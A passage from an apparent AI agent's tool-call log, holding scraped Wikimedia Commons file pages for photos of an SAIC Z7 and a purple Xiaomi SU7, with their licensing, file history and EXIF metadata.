file](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"SAIC Z7 MY2026 IMG01.jpg\") (3,714 × 2,786 pixels, file size: 3.69 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSAIC Z7 MY2026\n\n## Summary\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionSAIC Z7 MY2026 IMG01.jpg | **English:** SAIC Z7 MY2026 |\n| Date | |\n| Source | Own work |\n| Author | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:SAIC_Z7_MY2026_IMG01.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n| | |\n| --- | --- |\n| Creative Commons CC-Zero | This file is made available under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [CC0 1.0 Universal Public Domain Dedication](https://creativecommons.org/publicdomain/zero/1.0/deed.en \"ccorg:publicdomain/zero/1.0/deed.en\"). |\n| The person who associated a work with this deed has dedicated the work to the [public domain](https://en.wikipedia.org/wiki/en:public_domain \"w:en:public domain\") by waiving all of their rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law. You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission. http://creativecommons.org/publicdomain/zero/1.0/deed.enCC0Creative Commons Zero, Public Domain Dedicationfalsefalse |\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [07:01, 13 July 2026](https://upload.wikimedia.org/wikipedia/commons/2/25/SAIC_Z7_MY2026_IMG01.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 3,714 × 2,786 (3.69 MB) | [Poprace](/w/index.php?title=User:Poprace&action=edit&redlink=1 \"User:Poprace (page does not exist)\") ([talk](/wiki/User_talk:Poprace \"User talk:Poprace\") | [contribs](/wiki/Special:Contributions/Poprace \"Special:Contributions/Poprace\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on de.wikipedia.org\n + [Shangjie (Automarke)](https://de.wikipedia.org/wiki/Shangjie_(Automarke))\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [26.5](https://en.wikipedia.org/wiki/Special:Search?search=26.5) |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 839 |\n| DateTimeDigitized subseconds | 839 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.1241635687732 |\n| Focal length in 35 mm film | 54 mm |\n| Scene capture type | Standard |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Saic Z7](https://www.wikidata.org/wiki/Special:EntityPage/Q137919999 \"d:Special:EntityPage/Q137919999\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 13 July 2026\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 64\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0002970002970003 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Category](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [SAIC Z7](/wiki/Category:SAIC_Z7 \"Category:SAIC Z7\")\n\nHidden categories:\n\n* [CC-Zero](/wiki/Category:CC-Zero \"Category:CC-Zero\")\n* [Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license](/wiki/Category:Creative_Commons_CC0_1.0_Universal_Public_Domain_Dedication_missing_SDC_copyright_license \"Category:Creative Commons CC0 1.0 Universal Public Domain Dedication missing SDC copyright license\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Self-published work missing SDC copyright license](/wiki/Category:Self-published_work_missing_SDC_copyright_license \"Category:Self-published work missing SDC copyright license\")\n\nFile:SAIC Z7 MY2026 IMG01.jpg\n\n[Add topic](#)\n=================================================="}}, "tool_call_id": "tool_LfzCYaq6KyANzRYn3Kqnwxp0", "name": "extract_webpage"}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg,长度 15096 字符。\n```\n🌐 网页内容 (14878 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 Metadata](#metadata)\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n* [File](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&oldid=1025476488 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&id=1025476488&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M162553447 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 purple front view (March 21, 2025).jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20250321103943)](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 540 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 186 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/330px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,840 × 2,160 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/3840px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 purple front view (March 21, 2025).jpg\") (4,032 × 2,268 pixels, file size: 3.68 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 purple front view.\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | **English:** Xiaomi SU7 purple front view. |\n| Date | |\n| Source | Own work |\n| Author | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [23° 02′ 29.37″ N, 113° 45′ 38.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en)  Heading=50.927307120659° [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/23.041492/113.760719/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=023.041492&lon=0113.760719) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 23.041492; 113.760719 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [10:39, 21 March 2025](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 4,032 × 2,268 (3.68 MB) | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") ([talk](/wiki/User_talk:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User talk:茅野ふたば\") | [contribs](/wiki/Special:Contributions/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"Special:Contributions/茅野ふたば\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 14 Pro Max](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+14+Pro+Max) |\n| Exposure time | 1/857 sec (0.0011668611435239) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.78 |\n| ISO speed rating | 80 |\n| Date and time of data generation | 16:18, 21 March 2025 |\n| Lens focal length | 6.86 mm |\n| Latitude | 23° 2′ 29.37″ N |\n| Longitude | 113° 45′ 38.59″ E |\n| Altitude | 12.108 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [18.3](https://en.wikipedia.org/wiki/Special:Search?search=18.3) |\n| File change date and time | 16:18, 21 March 2025 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 16:18, 21 March 2025 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 9.7429797191888 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 7.2963895073081 |\n| APEX exposure bias | 0 |\n| Metering mode | Pattern |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 219 |\n| DateTimeDigitized subseconds | 219 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Focal length in 35 mm film | 24 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 08:18 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0.051153797654575 |\n| Reference for direction of image | True direction |\n| Direction of image | 50.927307120659 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 50.927307120659 |\n| GPS date | 21 March 2025 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): 茅野ふたば\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [茅野ふたば](https://meta.wikimedia.org/wiki/Special:CentralAuth/%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0)\n\n[URL](https://www.wikidata.org/wiki/Special:EntityPage/P2699 \"d:Special:EntityPage/P2699\"): \n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 21 March 2025\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 23°2'29.371\"N, 113°45'38.588\"E\n\n[heading](https://www.wikidata.org/wiki/Special:EntityPage/P7787 \"d:Special:EntityPage/P7787\"): 50.92730712065937 degree\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### image/jpeg\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### 80\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.0011668611435239 second\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.86 millimetre\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Purple automobiles in China](/wiki/Category:Purple_automobiles_in_China \"Category:Purple automobiles in China\")\n\nHidden categories:\n\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n* [Dongguan photographs taken on 2025-03-21](/wiki/Category:Dongguan_photographs_taken_on_2025-03-21 \"Category:Dongguan photographs taken on 2025-03-21\")\n* [Images by 茅野ふたば taken with iPhone 14 Pro Max](/wiki/Category:Images_by_%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0_taken_with_iPhone_14_Pro_Max \"Category:Images by 茅野ふたば taken with iPhone 14 Pro Max\")\n\nFile:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:34.141704", "message_id": "msg_f1958edfccea49e2a2f45549c7bff4dc", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg", "content": "🌐 网页内容 (14878 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 Metadata](#metadata)\n\n# File:Xiaomi SU7 purple front view (March 21, 2025).jpg\n\n* [File](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&oldid=1025476488 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&id=1025476488&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M162553447 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 purple front view (March 21, 2025).jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20250321103943)](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 540 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/960px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [330 × 186 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/330px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,280 × 720 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/1280px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [3,840 × 2,160 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg/3840px-Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/d/dc/Xiaomi_SU7_purple_front_view_%28March_21%2C_2025%29.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 purple front view (March 21, 2025).jpg\") (4,032 × 2,268 pixels, file size: 3.68 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 purple front view.\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 purple front view (March 21, 2025).jpg | **English:** Xiaomi SU7 purple front view. |\n| Date | |\n| Source | Own work |\n| Author | [茅野ふたば](/wiki/User:%E8%8C%85%E9%87%8E%E3%81%B5%E3%81%9F%E3%81%B0 \"User:茅野ふたば\") |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [23° 02′ 29.37″ N, 113° 45′ 38.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg¶ms=023.041492_N_0113.760719_E_globe:Earth_type:camera_heading:50.93&language=en)  Heading=50.927307120659° [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/23.041492/113.760719/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=023.041492&lon=0113.760719) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 23.041492; 113.760719 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_purple_front_view_(March_21,_2025).jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 